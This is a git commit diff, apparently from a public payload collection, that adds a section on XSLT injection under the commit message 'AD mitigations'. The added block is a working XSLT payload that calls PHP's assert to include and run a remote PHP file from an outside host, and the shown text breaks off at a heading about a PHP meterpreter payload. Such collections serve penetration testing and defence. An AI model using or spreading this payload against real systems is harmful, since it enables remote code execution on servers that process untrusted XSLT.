AD mitigations

This commit is contained in:
Swissky
2019-12-26 12:09:23 +01:00
parent 1535c5f1b3
commit 4b10c5e302
3 changed files with 60 additions and 20 deletions

View File

@@ -132,6 +132,20 @@ Execute the function `scandir`.
</xsl:stylesheet>
```
Execute a remote php file using `assert`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
```
Execute a PHP meterpreter using PHP wrapper.
```xml